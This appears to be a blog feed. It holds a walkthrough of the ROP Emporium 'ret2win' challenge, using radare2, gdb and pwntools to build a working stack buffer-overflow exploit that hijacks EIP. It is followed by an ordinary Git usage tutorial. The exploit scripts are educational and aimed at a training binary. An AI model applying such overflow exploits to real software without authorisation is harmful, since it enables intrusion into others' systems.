|           ; CALL XREF from 0x080485d4 (sym.main)
|           0x080485f6      55             push ebp
|           0x080485f7      89e5           mov ebp, esp
|           0x080485f9      83ec28         sub esp, 0x28               ; '('
|           0x080485fc      83ec04         sub esp, 4
|           0x080485ff      6a20           push 0x20                   ; 32
|           0x08048601      6a00           push 0                      ; size_t n
|           0x08048603      8d45d8         lea eax, dword [local_28h]
|           0x08048606      50             push eax                    ; int c
|           0x08048607      e854feffff     call sym.imp.memset         ; void *memset(void *s, int c, size_t n)
|           0x0804860c      83c410         add esp, 0x10
|           0x0804860f      83ec0c         sub esp, 0xc
|           0x08048612      683c870408     push str.For_my_first_trick__I_will_attempt_to_fit_50_bytes_of_user_input_into_32_bytes_of_stack_buffer___What_could_possibly_go_wrong ; 0x804873c ; "For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;\nWhat could possibly go wrong?" ; const char * s
|           0x08048617      e804feffff     call sym.imp.puts           ; int puts(const char *s)
|           0x0804861c      83c410         add esp, 0x10
|           0x0804861f      83ec0c         sub esp, 0xc
|           0x08048622      68bc870408     push str.You_there_madam__may_I_have_your_input_please__And_don_t_worry_about_null_bytes__we_re_using_fgets ; 0x80487bc ; "You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!\n" ; const char * s
|           0x08048627      e8f4fdffff     call sym.imp.puts           ; int puts(const char *s)
|           0x0804862c      83c410         add esp, 0x10
|           0x0804862f      83ec0c         sub esp, 0xc
|           0x08048632      6821880408     push 0x8048821              ; const char * format
|           0x08048637      e8c4fdffff     call sym.imp.printf         ; int printf(const char *format)
|           0x0804863c      83c410         add esp, 0x10
|           0x0804863f      a160a00408     mov eax, dword [obj.stdin]  ; [0x804a060:4]=0
|           0x08048644      83ec04         sub esp, 4
|           0x08048647      50             push eax
|           0x08048648      6a32           push 0x32                   ; '2' ; 50
|           0x0804864a      8d45d8         lea eax, dword [local_28h]
|           0x0804864d      50             push eax                    ; char *s
|           0x0804864e      e8bdfdffff     call sym.imp.fgets          ; char *fgets(char *s, int size, FILE *stream)
|           0x08048653      83c410         add esp, 0x10
|           0x08048656      90             nop
|           0x08048657      c9             leave
\           0x08048658      c3             ret

We can see memset at the top being called. Radare helpfully prints the function signature for memset in a comment (after the ;), and we can see it takes a pointer, an int and a size in that order.

As this is 32-bit, we can look at the assembly and see that the value 0x20 is pushed to the stack, followed by 0 and a pointer to the variable local_28h immediately before memset is called. As whatever is pushed to the stack last is at the top and is popped first, the arguments to the function are getting pushed on in reverse order so that the first argument is at the top. Appropriately allocating these arguments to the memset function means that memset is zeroing out 0x20 bytes of memory for the variable local_28h.

We can also see further down that fgets is being called with 0x32 bytes being written to local_28h from stdin. Radare helpfully tells us in the comments that these are 50 and 32 in decimal, and the string that gets put'd to the screen seems to agree. If we're feeling lazy, we can use radare to do some maths for us here:

[0x0804857b]> ? 0x32 - 0x20
18 0x12 022 18 0000:0012 18 "\x12" 0b00010010 18.0 18.000000f 18.000000 0t200

So as 50 bytes of memory are being written into a 32 byte buffer we think we have found the buffer overflow vulnerability location and that we'll have 18 bytes of space in which to fit our exploit!

Next, let's take a look at the last interesting function, ret2win, which is the name of the challenge.

[0x0804857b]> pdf @ sym.ret2win
/ (fcn) sym.ret2win 41
|   sym.ret2win ();
|           0x08048659      55             push ebp
|           0x0804865a      89e5           mov ebp, esp
|           0x0804865c      83ec08         sub esp, 8
|           0x0804865f      83ec0c         sub esp, 0xc
|           0x08048662      6824880408     push str.Thank_you__Here_s_your_flag: ; 0x8048824 ; "Thank you! Here's your flag:" ; const char * format
|           0x08048667      e894fdffff     call sym.imp.printf         ; int printf(const char *format)
|           0x0804866c      83c410         add esp, 0x10
|           0x0804866f      83ec0c         sub esp, 0xc
|           0x08048672      6841880408     push str.bin_cat_flag.txt   ; 0x8048841 ; "/bin/cat flag.txt" ; const char * string
|           0x08048677      e8b4fdffff     call sym.imp.system         ; int system(const char *string)
|           0x0804867c      83c410         add esp, 0x10
|           0x0804867f      90             nop
|           0x08048680      c9             leave
\           0x08048681      c3             ret

This function seems to do everything we could ask of it, calling system with /bin/cat flag.txt. It also takes no arguments, so it looks like we'd just need to return to it to win! Let's make a note of the address of ret2win, 0x08048659, and move on to exploitation.

Exploitation

We're going to exploit the binary using pwntools, which is an excellent library for python that abstracts away a lot of the headaches and repetition that can come with exploit development.

To start with, let's try running the binary:

$ ./ret2win32
ret2win by ROP Emporium
32bits

For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!

> test

Exiting

We can see that it prints the strings we saw earlier and we appear to be correct about the buffer sizes. We enter 'test' and the program just exits, as expected.

Let's create a skeleton script to execute and debug our exploit:

#!/usr/bin/env python2

import pwn

t = pwn.process("./ret2win32")

pwn.gdb.attach(t)

t.interactive()

This script will start the ret2win32 process organically and return a tube (sort of like a handle to the process), attach the gdb debugger to it and then provide us with an interactive session using gdb. If we find that gdb is attaching to the started process too late and our program execution has already passed our breakpoints then we can instead start the process from gdb directly using t = pwn.gdb.debug("./ret2win32"), but until then we'll start it organically to avoid any potential issues.

Running our python script results in:

$ python pwn_ret2win.py
[+] Starting local process './ret2win32': pid 56036
[*] running in new terminal: /usr/bin/gdb -q  "./ret2win32" 56036 -x "/tmp/pwnE_DG49.gdb"
[+] Waiting for debugger: Done
[*] Switching to interactive mode
ret2win by ROP Emporium
32bits

For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!

> $

A gdb session is also created in a separate terminal. This looks to be working as intended to let's continue:

#!/usr/bin/env python2

import pwn

t = pwn.process("./ret2win32")

gdb_cmd = [
    'b *0x08048653',
    'c'
]

pwn.gdb.attach(t, gdbscript = '\n'.join(gdb_cmd))

t.recvuntil('\n>')
t.sendline("test")

t.interactive()

This script has a bit more to it. We've created an array of gdb_cmds which we are joining with newline characters (so that they are "entered") which we are passing to gdb via the gdbscript parameter. Presently this array just consists of a breakpoint at the address 0x08048653 and the 'c', or continue, command which continues execution once gdb initially attaches to the process. The 0x08048653 address was taken from radare and is the address of the instruction after fgets is called in the pwnme function, so we can examine memory after the program takes our input.

We then continue receiving input until a newline and a ">" prompt is received using t.recvuntil('\n>') as this is what is displayed in the console when the binary is waiting for our input.

We then send the string 'test' followed by a newline character using the sendline command. Executing this script results in a gdb session at the breakpoint, as expected. Examining the memory we see our "test" string in the return value of the function (eax) and on the stack:

[#0] Id 1, Name: "ret2win32", stopped, reason: STOPPED
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]────
[#0] 0xf7f31059 → Name: __kernel_vsyscall()
[#1] 0xf7e147d7 → Name: read()
[#2] 0xf7da1798 → Name: _IO_file_underflow()
[#3] 0xf7da28ab → Name: _IO_default_uflow()
[#4] 0xf7d95871 → Name: _IO_getline_info()
[#5] 0xf7d959be → Name: _IO_getline()
[#6] 0xf7d947a9 → Name: fgets()
[#7] 0x8048653 → Name: pwnme()
[#8] 0x80485d9 → Name: main()
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0xf7f31059 in __kernel_vsyscall ()
Breakpoint 1 at 0x8048653
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ registers ]────
$eax   : 0xffefeb60  →  "test"
$ebx   : 0x00000000
$ecx   : 0xf7f0589c  →  0x00000000
$edx   : 0xffefeb60  →  "test"
$esp   : 0xffefeb50  →  0xffefeb60  →  "test"
$ebp   : 0xffefeb88  →  0xffefeb98  →  0x00000000
$esi   : 0xf7f04000  →  0x001d4d6c ("lM"?)
$edi   : 0x00000000
$eip   : 0x08048653  →   add esp, 0x10
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$ds: 0x002b  $fs: 0x0000  $ss: 0x002b  $gs: 0x0063  $cs: 0x0023  $es: 0x002b  
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]────
0xffefeb50│+0x00: 0xffefeb60  →  "test"	 ← $esp
0xffefeb54│+0x04: 0x00000032 ("2"?)
0xffefeb58│+0x08: 0xf7f045c0  →  0xfbad2088
0xffefeb5c│+0x0c: 0xfbad2887
0xffefeb60│+0x10: "test"	 ← $eax, $edx
0xffefeb64│+0x14: 0x0000000a
0xffefeb68│+0x18: 0x00000000
0xffefeb6c│+0x1c: 0x00000000
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:i386 ]────
    0x804864a        lea    eax, [ebp-0x28]
    0x804864d        push   eax
    0x804864e        call   0x8048410 
 →  0x8048653        add    esp, 0x10
    0x8048656        nop    
    0x8048657        leave  
    0x8048658        ret    
    0x8048659       push   ebp
    0x804865a       mov    ebp, esp
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]────
[#0] Id 1, Name: "ret2win32", stopped, reason: BREAKPOINT
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]────
[#0] 0x8048653 → Name: pwnme()
[#1] 0x80485d9 → Name: main()
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Breakpoint 1, 0x08048653 in pwnme ()
gef➤  

Note I'm using gdb with gef which is a great extension and provides the context we see above.

Everything seems to be working as expected, so now let's actually try overflowing this thing.

#!/usr/bin/env python2

import pwn

t = pwn.process("./ret2win32")

gdb_cmd = [
    'b *0x08048653',
    'c'
]

pwn.gdb.attach(t, gdbscript = '\n'.join(gdb_cmd))

buf = pwn.cyclic(60, n = 4)

t.recvuntil('\n>')
t.sendline(buf)

t.interactive()

Here we've created a cyclic pattern 60 characters in length, with every sequence of four characters being unique using pwn.cyclic(60, n = 4). We've assigned that to the variable buf and sent that as our input. We've chosen four characters as a 32-bit memory address is four bytes in length, so if our overflow overwrites something in memory we can determine at exactly what offset into our input that occurs.

Running this and examining memory at our breakpoint:

────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]────
[#0] Id 1, Name: "ret2win32", stopped, reason: STOPPED
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]────
[#0] 0xf7f9f059 → Name: __kernel_vsyscall()
[#1] 0xf7e827d7 → Name: read()
[#2] 0xf7e0f798 → Name: _IO_file_underflow()
[#3] 0xf7e108ab → Name: _IO_default_uflow()
[#4] 0xf7e03871 → Name: _IO_getline_info()
[#5] 0xf7e039be → Name: _IO_getline()
[#6] 0xf7e027a9 → Name: fgets()
[#7] 0x8048653 → Name: pwnme()
[#8] 0x80485d9 → Name: main()
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0xf7f9f059 in __kernel_vsyscall ()
Breakpoint 1 at 0x8048653
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ registers ]────
$eax   : 0xff84f0e0  →  "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaam"
$ebx   : 0x00000000
$ecx   : 0xf7f7389c  →  0x00000000
$edx   : 0xff84f0e0  →  "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaam"
$esp   : 0xff84f0d0  →  0xff84f0e0  →  "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaam"
$ebp   : 0xff84f108  →  "kaaalaaam"
$esi   : 0xf7f72000  →  0x001d4d6c ("lM"?)
$edi   : 0x00000000
$eip   : 0x08048653  →  <pwnme+93> add esp, 0x10
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$fs: 0x0000  $gs: 0x0063  $ds: 0x002b  $cs: 0x0023  $es: 0x002b  $ss: 0x002b  
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]────
0xff84f0d0│+0x00: 0xff84f0e0  →  "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaam"	 ← $esp
0xff84f0d4│+0x04: 0x00000032 ("2"?)
0xff84f0d8│+0x08: 0xf7f725c0  →  0xfbad2088
0xff84f0dc│+0x0c: 0xfbad2887
0xff84f0e0│+0x10: "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaam"	 ← $eax, $edx
0xff84f0e4│+0x14: "baaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaam"
0xff84f0e8│+0x18: "caaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaam"
0xff84f0ec│+0x1c: "daaaeaaafaaagaaahaaaiaaajaaakaaalaaam"
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:i386 ]────
    0x804864a <pwnme+84>       lea    eax, [ebp-0x28]
    0x804864d <pwnme+87>       push   eax
    0x804864e <pwnme+88>       call   0x8048410 <fgets@plt>
 →  0x8048653 <pwnme+93>       add    esp, 0x10
    0x8048656 <pwnme+96>       nop    
    0x8048657 <pwnme+97>       leave  
    0x8048658 <pwnme+98>       ret    
    0x8048659 <ret2win+0>      push   ebp
    0x804865a <ret2win+1>      mov    ebp, esp
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]────
[#0] Id 1, Name: "ret2win32", stopped, reason: BREAKPOINT
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]────
[#0] 0x8048653 → Name: pwnme()
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Breakpoint 1, 0x08048653 in pwnme ()
gef➤  

We can see our cyclic string in memory. We can examine memory directly using the examine command in gdb. This command can also take a format, so we specify a string with /s. Checkout this cheetsheet for more information on gdb commands.

Once we have the string, we can execute shell commands using !<command> to check its length. As expected from our binary analysis, it's 50 characters in length:

gef➤  x/s 0xff84f0e0
0xff84f0e0:	"aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaam"
gef➤  !echo "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaam" | wc -c
50
gef➤  

Continuing execution with the c command results in a crash!

gef➤  c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ registers ]────
$eax   : 0xff84f0e0  →  "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaam"
$ebx   : 0x00000000
$ecx   : 0xf7f7389c  →  0x00000000
$edx   : 0xff84f0e0  →  "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaam"
$esp   : 0xff84f110  →  0xf7fa006d  →  0x00000000
$ebp   : 0x6161616b ("kaaa"?)
$esi   : 0xf7f72000  →  0x001d4d6c ("lM"?)
$edi   : 0x00000000
$eip   : 0x6161616c ("laaa"?)
$eflags: [zero carry parity adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
$fs: 0x0000  $gs: 0x0063  $ds: 0x002b  $cs: 0x0023  $es: 0x002b  $ss: 0x002b  
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]────
0xff84f110│+0x00: 0xf7fa006d  →  0x00000000	 ← $esp
0xff84f114│+0x04: 0xff84f130  →  0x00000001
0xff84f118│+0x08: 0x00000000
0xff84f11c│+0x0c: 0xf7db5e81  →  <__libc_start_main+241> add esp, 0x10
0xff84f120│+0x10: 0xf7f72000  →  0x001d4d6c ("lM"?)
0xff84f124│+0x14: 0xf7f72000  →  0x001d4d6c ("lM"?)
0xff84f128│+0x18: 0x00000000
0xff84f12c│+0x1c: 0xf7db5e81  →  <__libc_start_main+241> add esp, 0x10
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:i386 ]────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x6161616c
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]────
[#0] Id 1, Name: "ret2win32", stopped, reason: SIGSEGV
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]────
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0x6161616c in ?? ()
gef➤  

The process crashed with a segfault, the EIP register was overwritten with 0x6161616c which is the "laaa" portion of our input string. Note that due to the little-endian nature of Intel systems, the memory address 0x6161616c is actually stored in memory as 0x6c 0x61 0x61 0x61. When reading addresses from memory, the least significant bit, or the bit with which represents the smallest value is read first. In hex numbers this bit is displayed on the right, which is why the order is reversed.

As 0x61 is the byte value of ASCII 'a' and 0x6c is the byte value of ASCII 'c', this explains why 0x6161616c is shown as laaa and not aaal.

We can view this in gdb by examining the memory in different chunks:

gef➤  x/4xb 0xff84f10c
0xff84f10c:	0x6c	0x61	0x61	0x61
gef➤  x/xw 0xff84f10c
0xff84f10c:	0x6161616c

We can see that when examined as four hex bytes (x/4xb) the bytes are displayed as 0x6c 0x61 0x61 0x61 (laaa), as that is the order they occur in memory. However when examined as a single hexadecimal word (four byte group, x/xw), gdb intelligently handles the endianess for us and displays them it as 0x6161616c.

This value is overwriting EIP register or the extended instruction pointer. A CPU register is essentially a variable used by the CPU when executing a program, some have dedicated roles and some are general purpose. This CPU register is a vital one as it's a pointer that points to the next instruction to be executed. Overwriting this register then means that we can control the flow of the program as we can change the value to point to a location of our choosing.

Let's alter our script to confirm that we have exact control of EIP:

#!/usr/bin/env python2

import pwn

t = pwn.process("./ret2win32")

gdb_cmd = [
    'c'
]

pwn.gdb.attach(t, gdbscript = '\n'.join(gdb_cmd))

offset = pwn.cyclic_find("laaa", n = 4)

buf = "A" * offset
buf += "B" * 4
buf += "C" * 16

t.recvuntil('\n>')
t.sendline(buf)

t.interactive()

We've dropped our breakpoint as we no longer need it and used the pwntools cyclic_find function to determine the offset into our buffer that overwrites EIP. We've then created a buffer that consists of a number of "A"s equals to our offset, then four "B"s that should overwrite the four-byte EIP address exactly, then 16 "C"s that should come afterwards.

Running the script results in the expected crash when EIP can't execute the instruction at 0x42424242 (0x42 is the byte value of ASCII "B").

────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]────
[#0] Id 1, Name: "ret2win32", stopped, reason: STOPPED
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]────
[#0] 0xf7f2f059 → Name: __kernel_vsyscall()
[#1] 0xf7e127d7 → Name: read()
[#2] 0xf7d9f798 → Name: _IO_file_underflow()
[#3] 0xf7da08ab → Name: _IO_default_uflow()
[#4] 0xf7d93871 → Name: _IO_getline_info()
[#5] 0xf7d939be → Name: _IO_getline()
[#6] 0xf7d927a9 → Name: fgets()
[#7] 0x8048653 → Name: pwnme()
[#8] 0x80485d9 → Name: main()
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0xf7f2f059 in __kernel_vsyscall ()

Program received signal SIGSEGV, Segmentation fault.
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ registers ]────
$eax   : 0xff9db510  →  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBC"
$ebx   : 0x00000000
$ecx   : 0xf7f0389c  →  0x00000000
$edx   : 0xff9db510  →  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBC"
$esp   : 0xff9db540  →  0xf7f30043  →  0x0252d800
$ebp   : 0x41414141 ("AAAA"?)
$esi   : 0xf7f02000  →  0x001d4d6c ("lM"?)
$edi   : 0x00000000
$eip   : 0x42424242 ("BBBB"?)
$eflags: [zero carry parity adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0023  $es: 0x002b  $ds: 0x002b  $gs: 0x0063  $ss: 0x002b  $fs: 0x0000  
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]────
0xff9db540│+0x00: 0xf7f30043  →  0x0252d800	 ← $esp
0xff9db544│+0x04: 0xff9db560  →  0x00000001
0xff9db548│+0x08: 0x00000000
0xff9db54c│+0x0c: 0xf7d45e81  →  <__libc_start_main+241> add esp, 0x10
0xff9db550│+0x10: 0xf7f02000  →  0x001d4d6c ("lM"?)
0xff9db554│+0x14: 0xf7f02000  →  0x001d4d6c ("lM"?)
0xff9db558│+0x18: 0x00000000
0xff9db55c│+0x1c: 0xf7d45e81  →  <__libc_start_main+241> add esp, 0x10
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:i386 ]────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x42424242
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]────
[#0] Id 1, Name: "ret2win32", stopped, reason: SIGSEGV
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]────
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0x42424242 in ?? ()
gef➤    

Excellent! Now we just have to figure out where to send the program. The ret2win function from our binary analysis seems like the perfect candidate. If we recall, the memory address of this function was 0x08048659.

Let's update our script so that we send execution to this address instead:

#!/usr/bin/env python2

import pwn

t = pwn.process("./ret2win32")

gdb_cmd = [
    'c'
]

pwn.gdb.attach(t, gdbscript = '\n'.join(gdb_cmd))
pointer_ret2win = 0x08048659

offset = pwn.cyclic_find("laaa", n = 4)

buf = "A" * offset
buf += pwn.p32(pointer_ret2win)
buf += "C" * 16

t.recvuntil('\n>')
t.sendline(buf)

t.interactive()

We've replaced our four B's with a pointer to ret2win. However as we know we have to make sure we write our bytes in the correct order so that the endianness is taken into account. pwntools has a handy function for doing this for us, pwn.p32() takes a number and packs it as a 32-bit value handling the endianess for us.

Executing this results in the ret2win function being called and our flag being printed as /bin/cat flag.txt is invoked via the call to system:

$ python pwn_ret2win.py
[+] Starting local process './ret2win32': pid 121859
[*] running in new terminal: /usr/bin/gdb -q  "./ret2win32" 121859 -x "/tmp/pwnIZOZ88.gdb"
[+] Waiting for debugger: Done
[*] Switching to interactive mode
 Thank you! Here's your flag:ROPE{a_placeholder_32byte_flag!}
[*] Got EOF while reading in interactive
$

If we want we can debug the program to see exactly what happens. We notice that after fgets is called part of the stack is overwritten by our buffer. When the pwnme function finishes it performs a ret instruction and the program execution path returns to the return address that is stored on the stack, the location of which has been overwritten by us and now points to ret2win. We have written an exploit that causes the program to return to a location of our choosing, hence return oriented programming.

Summary

We've had a pretty granular look at the first ropemporium challenge, ret2win. We've used radare2 to perform some binary analysis and pwntools to script our exploit development, creating an exploit that uses a buffer overflow to overwrite the return address of the current function on the stack with a function of our choosing.

Next time we'll have a look at the second challenge, split. We'll leave out a lot of the boilerplate that's been covered this time, and start to look at some more advanced uses for our tools.

]]>
<![CDATA[Git for Hackers - Part 2, Using Git]]>/git-for-hackers-part-2-using-git/5aae377b2afe0d070370ab57Tue, 03 Apr 2018 16:00:00 GMTGit for Hackers - Part 2, Using Git

Last time we looked at what Git is and got a basic understanding of how it works. In this post, we'll look at actually using Git and some tips and tricks for streamlining how we use it.

Installing Git

The first step however, is to install Git. We can get the Windows, Mac or Linux client from the download page, or if we're using a Debian based Linux distro just install it via apt:

sudo apt-get install git

Git is primarily a Linux tool used on the command line, so the Windows option actually installs a lightweight Cygwin-like bash terminal from which we can issue commands, while also offering the option to use the Git commands from a Windows CMD or Powershell.

I cannot recommend enough prioritising the command line for using Git, we'll end up far more efficient and capable with the entire toolsuite at our fingertips. Saying that, there are few free GUI tools for Git, which can help in visualising the branches, such as Sourcetree or GitKraken, both of which are very good.

Basic Git Usage

Creating a repository

To create a brand new repository use:

git init

This creates a .git folder in the current directory (which is where Git manages everything) and creates the master branch. From here we're good to start adding and committing files.

Alternatively, if know we want to backup our Git repository, we can create an empty remote and clone it down. This will just contain the .git folder but will have the remote references already set up. Github and Bitbucket both allow us to create free repositories online, but while Github is the more popular, Bitbucket allows us to create free private repositories.

Cloning a repository

If we already have a repository or want to clone someone else's, get the repository URL link and just run:

git clone <repositoryURL>

For example, if we wanted to clone https://github.com/robjbone/KaliScripts then

git clone https://github.com/robjbone/KaliScripts

will clone the repository into a new KaliScripts folder in the current directory. Alternatively, if we want to specify the directory (useful when scripting or we want to change the name of the folder) we can run for example:

git clone https://github.com/robjbone/KaliScripts /opt/kaliscripts

which will clone the files into /opt/kaliscripts.

The remote repository will automatically be set up as the default remote, origin.

Committing

Once we have added some files we can create a snapshot of the current status by creating a commit.

First, we run:

git status

which will tell show us which files have been added, deleted or modified and so on. It will also detail the status of the repository relative to the remote repository, telling us if we're ahead or behind its last known reference to the remote repository.

Once we're ready we have to stage the files we want to commit. This is where we tell Git which changes we want to make up the commit. We can add individual files or folders:

git add myfile.txt
git add directory/
git add directory2/*.c

or if we want to just add everything:

git add .       # for everything in the working directory (recursively)
git add --all   # for everything in the repository

If we want to view the unstaged changes since the last commit, we can run:

git diff

or to view only the staged changes:

git diff --staged

Once we're ready to commit:

git commit -m "A descriptive commit message"

This will commit only the staged changes, so any other changed files will remain uncommitted.

Git for Hackers - Part 2, Using Git

When we've made our commit we'll get a hash that is the ID for our commit. This identifier is how we refer to the commit, for example when we want to review it:

git log 3b2da94

Git for Hackers - Part 2, Using Git

or if we want to reset it to it and so on (we'll cover this later).

Branching

We covered last time that branches are essentially just tags on commits, so creating and manipulating branches is usually very lightweight and quick.

Branches are great for just spinning off to try out something new, or if we want to make a change but we're not sure if it will work. If things work out, we can merge our branch back into the main "trunk" of commits, which is the branch called master. If things don't work out, we can just scrap our branch and our main codeline remains untouched.

If we are currently on master we can create a new branch by issuing:

git branch <branchName>

To switch to, or checkout, a branch:

git checkout <branchName>

and we can also combine the last two steps with:

git checkout -b <branchName>

Once we are on our new branch, we can just commit as do normally. We can switch back and forth between our branches by just checking those branches out.

If we like the changes we make on our branch, we can merge them back into master.
When merging branches we checkout the branch we want to change, in this case master:

git checkout master

then merge in the branch with the changes we want:

git merge <branchName>

If there are changes on both branches that conflict (such as both branches have edited the same line) then we will get merge conflicts. We'll leave this topic for a later article as it usually only crops up if two or more people are collaborating on the repository, but if it crops up in the mean time you can look at this link.

Once this is done, if we have no more use for our merged branch, as its now merged into master, we can delete it with:

git branch -d <branchName>

This will show a warning message and fail if the branch has changes that have not yet been merged to master to help us avoid accidentally deleting work.

If we instead decide that our changes on our branch are useless and should be discarded, we can delete the branch without merging with:

git branch -D <branchName>

Note that we can branch off of any branch, and merge any two branches, it's not just relative to master.

Finally, we can list all branches with:

git branch -a

Updating a repository

If the remote repository gets updated, we can pull down those changes to our local copy using:

git pull

This will grab the changes in the remote version and merge them with our local repository, updating the local branches as it does so. If we have made no changes locally to the repository it will just "fast-forward" to the new version being pulled down instead of merging (as there are no changes to merge).

If we just want to fetch the latest data without actually updating any of our local branches, we can instead run:

git fetch

Now when we run git status it will tell us how we compare to an up-to-date reference of the remote repository.

Pushing

If we want to backup or share our changes we push our changes to a remote repository. This will push the latest commits on our branches, but will not push uncommitted files.

To push the current branch's changes we can use:

git push

or to push a different branch:

git push <remoteName> <branchName>

such as

git push origin master

Note that if the remote branch is ahead of our local one, we'll have to update our local one first. We can only push branches that are ahead of their remote counterparts.

Tips

Some useful tips and tricks for using Git are below.

Configuration

We can customise just about everything in Git. We can do this at a global level, in our ~/.gitconfig file, or have repository specific configuration in a .git/config file in the repository. As is usually the case, the more specific config at the repository level overrides the global config if a conflict arises.

One thing we always want to setup is our name and email, as this affects the author and so on in our commits. We can also change the default editor that is used when editing commits, the line-endings style that's used, add aliases for commands and much more.

An example ~/.gitconfig might be:

[user]
	name = m0rv4i
	email = email@gmail.com
[core]
	excludesfile = ~/.gitignore
	editor = vim 
	eol = lf
[push]
	default = simple
[branch]
	autosetuprebase = always
[alias]
	s = status
	aa = add --all

You can read more about the various options here.

Another useful configuration file is the .gitignore file. This file dictates files that will be ignored by Git. For example, we rarely want to commit log files, compiled binaries and so on. We can set a global excludes file in our config file, and also have the option to add a per-repository .gitignore file in the root of each repository (note this is NOT in the .git folder this time!)

A sample .gitignore file might be:

# Generated Binaries #
######################
*.class
*.com
*.dll
*.exe
*.o
*.so
*.bin
*.pdb

# Packages #
############
*.7z
*.dmg
*.gz
*.iso
*.rar
*.tar
*.zip


# Logs and Databases #
######################
*.log
*.sql
*.sqlite

If later on we want to add a particular ignored file, we can forcibly stage it with

git add -f <ignoredFile>

Other tips

If we want to undo local changes to a file and just reset it to the last commit, we can run:

git checkout -- <fileName>

If we want to amend a commit, such as to add files or change the message, stage the changes if required then run:

git commit --amend

If we want to quickly just stash our current uncommitted changes for later we can run:

git stash

and then do what we need to do. Any further stashes will be pushed onto a stack of stashes. Later when we want to re-apply those we can run:

git stash pop

which will apply the last stash and remove it from the stack.

